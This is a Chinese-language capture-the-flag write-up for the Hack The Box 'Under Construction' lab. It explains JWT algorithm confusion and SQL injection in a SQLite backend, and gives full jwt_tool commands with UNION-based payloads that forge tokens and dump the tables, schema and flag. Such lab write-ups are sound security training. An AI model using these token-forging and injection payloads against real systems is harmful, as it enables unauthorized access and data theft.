hackthebox-Tracks-Beginner_Track-Under_Construction
随机输入账号密码
admin/admin
并用bp抓包
尝试注册
重新登录
能看到给了一个cookie,而且很符合jwt的风格
拿到jwt.io中解析一下,能看到公钥。
接着去分析以下源码
在helpers下面的DBhelper.js。由第五行可知数据库为sqlite。由11行可知,这个地方直接拼接了参数,所以是存在SQL注入的。
routes中显示网站有四个页面,分别是/,post以及get请求的auth,logout。
这四个部分的功能都非常的简单,POST请求根据register字段的值判断登录/注册,/logout清除session值,/auth返回auth.html页面,在GET请求/时,需要先通过JWT内的值判断用户是否存在,再进行页面跳转或错误信息,判断过程首先要执行AuthMiddleware函数,返回成功后再执行DBHlper.getUser(username)函数,如果username在数据数据库中存在的话,就会跳转至index.html页面,也就是登录后看到的页面了。
顺着引用的顺序,去看看authmiddlewave.js文件。
大概功能就是返回JWT解码后的username值,然后这个值就会被拿去DBHlper.getUser(username)函数比对,接着去JWTHelper.js文件
JWTHelper.js中出现了漏洞,JWT密钥混淆,其含义是:可以通过改头部的算法的方式,将RSA加密算法修改为HMAC,这样的结果就是服务端会直接使用HS256,并且把传过去的公钥(RSA的公钥)看作是当前算法(HMAC)的密钥来进行验签。
在进行完AuthMiddleware函数的流程后,进行下一步DBHlper.getUser(username),这个开头已经说了,存在注入,那么这就好办了,jwt我们可以生成,而且username字段就是我们要注入的点。
使用 jwt_tool 工具(https://www.tariqhawis.com/htb-under-construction-web-challange/)
git clone https://github.com/ticarpi/jwt_tool
pip3 install pycryptodomex
视频:https://www.reddit.com/r/hackthebox/comments/vqfvt2/jwt_token_exploit_with_sql_injection_hackthebox/
token为原token
keypub.pem为公钥
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1" -X k -pk ./keypub.pem
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test2" -X k -pk ./keypub.pem
成功修改token
尝试进行注入
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' order by 3 --+" -X k -pk ./keypub.pem
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' order by 4 --+" -X k -pk ./keypub.pem
输出个数为3
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, 222222222, 33333333 --+" -X k -pk ./keypub.pem
可见的输出为第二个
查询数据库版本
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, sqlite_version(), 33333333 --+" -X k -pk ./keypub.pem
查询当前数据库的表
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(tbl_name), 33333333 from sqlite_master --+" -X k -pk ./keypub.pem
sqlite_master 为 sqlite的默认数据库
flag_storage, sqlite_sequence, users 三个表
显示所有字段
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(sql), 33333333 from sqlite_master --+" -X k -pk ./keypub.pem
显示 flag_storage 列中的 top_secret_flaag 字段的内容
python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(top_secret_flaag), 33333333 from flag_storage --+" -X k -pk ./keypub.pem
获取到flag
HTB{d0n7_3xp053_y0ur_publ1ck3y}
hackthebox-Tracks-Beginner_Track-Under_Construction相关推荐
- sqlmap md5怎么解密_三十九,hackthebox渗透之DirBuster扫描路径及Sqlmap
一.DirBuster扫描目录 hack the box是一个在线Web渗透实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有.因为这些靶机放在平台上供大 ...
- Hackthebox(1)系列持续更新
Hackthebox第一关 文章目录 Hackthebox第一关 一.Hackthebox配置openvpn 配置openvpn 二.第0层(简单) 终端弄好以后点击产卵机,然后会给你创建一个实例 问 ...
- HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权
题目网址: https://app.hackthebox.com/machines/MetaTwo 枚举 使用nmap枚举靶机 nmap -sC -sV -p- 10.10.11.186 扫到了域名, ...
- HackTheBox 如何使用
如何开始? 1.到官网注册一个账号 https://www.hackthebox.com/ 2.验证自己的邮箱 3.下载 openvpn 4.到左边的 labs 实验室开始学习或直接点击 start ...
- HackTheBox –Craft实战
HackTheBox –Craft ip:http://10.10.10.110/ 信息搜集 端口扫描:使用nmap扫描发现开了22(ssh)端口和443(http/ssl) 版本可从web网页上获取 ...
- CTF-Anubis HackTheBox 渗透测试(二)
大家好,我是你们好朋友小峰.预计从今天开始,陆陆续续为大家推出 CTF-Horizontall HackTheBox 系列文章. 0x01 简介 Anubis是由作者4ndr34z在Hac ...
- Unity - Timeline 之 Muting tracks(屏蔽轨道)
目录:Unity - Timeline 知识汇总 原味:https://docs.unity3d.com/Packages/com.unity.timeline@1.2/manual/trk_mute ...
- Hackthebox:Arctic Walkthrough
预备知识 使用了msfvenom,不想看的可以跳过 浏览器信息收集尤其是细节发现服务信息不能过度依赖工具 MS10-059.smbserver.jsp reverse shell 信息收集和获取立足点 ...
- hackthebox的网站使用教程
Google浏览器下载 下载url:https://www.google.cn/chrome/ hackthebox网站 网站url:https://www.hackthebox.com/home 获 ...
- JSON数据里提取tracks里name的内容
刚开始做一直出现错误,只要一层一层深入进去就很容易啦 <!DOCTYPE html> <html lang="en"> <head><me ...
最新文章
- 牛客 Tree(最小深度总和)(两种方法求重心)难度⭐⭐⭐
- EXCEL 函数----用countif()函数计算重复数值个数和表示重复值
- windows 系统下多网卡绑定/绑定配置
- 基于DDD的.NET开发框架 - ABP缓存Caching实现
- Java多线程:线程间通信之volatile与sychronized
- 【debug】UnboundLocalError local variable a referenced before assignment
- pythondis功能_python 使用 Dis 模块进行代码性能剖析
- 实现文件下载的java代码
- linux写永久路由命令,用route命令添加永久路由
- SpringMVC访问流程
- Ajax学习札记(前言)
- leetcode845. 数组中的最长山脉
- SwiftUI内功之如何设计Struct和Class不要和陌生人说话
- 神州优车联合体斥资近40亿控股宝沃 建立联合营销工作小组
- Anaconda安装labelImg图像标注软件
- ArcGIS:如何利用栅格数据进行路径网络分析-可达性分析?
- 13行Python代码实现一个神经网络(Part 2 - 梯度下降法)
- MySQL(数据类型)
- 25万的特斯拉会动了谁的奶酪?
- c语言程序电机,直流电机控制C语言程序